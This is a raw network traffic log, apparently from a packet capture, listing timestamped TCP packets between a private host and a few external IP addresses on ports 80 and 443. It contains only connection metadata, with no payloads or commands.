Sep 29, 2024 00:53:25.117292881 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117292881 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117295980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117297888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117301941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117309093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117315054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117321968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117321014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117330074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117331982 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117345095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117346048 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117361069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117369890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117377043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117386103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117389917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117396116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117402077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117414951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117419958 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117420912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117428064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117439985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117440939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117444992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117455006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117460012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117465973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117470980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117471933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117477894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117487907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117489100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117489100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117489100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117499113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117510080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117516994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117517948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117522001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117528915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117536068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117542982 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117547989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117561102 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117562056 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117564917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117590904 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117590904 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118012905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118021011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118027925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118043900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118056059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118062973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118068933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118077993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118082047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118093014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118098974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118104935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118107080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118107080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118107080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118112087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118118048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118124962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118156910 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118163109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118170023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118171930 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118171930 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118177891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118186951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118192911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118194103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118200064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118211031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118216991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118222952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118230104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118233919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118238926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118246078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118251085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118257999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118292093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118324995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118324995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118335009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.118840933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118891001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.118896961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119010925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.119153023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119158983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119164944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119170904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119174957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.119206905 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.119235039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.119235039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.121372938 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121397972 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121434927 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.121442080 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121452093 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121469021 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.121546984 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.121556044 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121607065 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.121649027 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121664047 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121711016 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.121716022 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.121849060 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122040987 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122059107 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122072935 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122077942 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122129917 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122129917 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122411013 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122426033 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122457981 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122462988 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122490883 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122514963 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122756004 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122775078 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122828960 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122833967 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122939110 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.122980118 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.122997999 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.123058081 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.123058081 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.123063087 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.123214960 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.123248100 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.123264074 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.123327017 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.123331070 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.123364925 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.130342960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130350113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130357027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130361080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130367041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130372047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130378962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130384922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130408049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.130454063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.130454063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.130474091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130481005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130487919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130498886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130505085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130510092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.130527020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.130549908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.181330919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181374073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181377888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181438923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181457996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181499004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181498051 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181504965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181519032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181525946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181533098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181673050 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181673050 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181673050 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181709051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181735039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181751966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181763887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181771040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181777000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181782007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181782961 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181790113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181794882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181801081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181806087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181812048 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181816101 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181817055 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181823015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181839943 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181855917 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181873083 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181942940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181947947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181972027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181977987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181982994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181993961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.181994915 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.181999922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182004929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182012081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182017088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182028055 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182034969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182039976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182045937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182051897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182056904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182060003 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182063103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182069063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182086945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182090044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182091951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182096958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182111979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182113886 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182116985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182127953 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182132959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182138920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182146072 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182154894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182178974 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182315111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182322025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182332039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182362080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182370901 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182374954 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182388067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182394028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182399035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182408094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182411909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182420969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182425976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182427883 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182451963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182456970 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182461023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182466030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182471991 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182476997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182482958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182502031 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182526112 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182940006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182971001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182975054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.182985067 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.182996988 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183002949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183016062 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183029890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183048964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183079004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183088064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183098078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183130980 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183144093 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183542013 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183603048 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183609009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183614969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183625937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183671951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183676958 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183677912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183682919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183728933 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183806896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183819056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183829069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183834076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183839083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183845043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183856010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183861971 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183868885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183872938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183873892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183880091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183900118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183926105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183927059 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.183932066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.183976889 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184003115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184009075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184025049 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184047937 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184077024 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184206009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184259892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184281111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184286118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184331894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184339046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184348106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184355974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184357882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184365034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.184393883 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.184417009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.197871923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197880030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197885036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197938919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197945118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197952032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197957039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197962999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.197973967 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.198082924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198129892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.198129892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.198138952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198143959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198182106 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.198251963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198257923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198265076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198271036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198280096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.198296070 CEST	49712	80	192.168.2.9	176.113.115.95
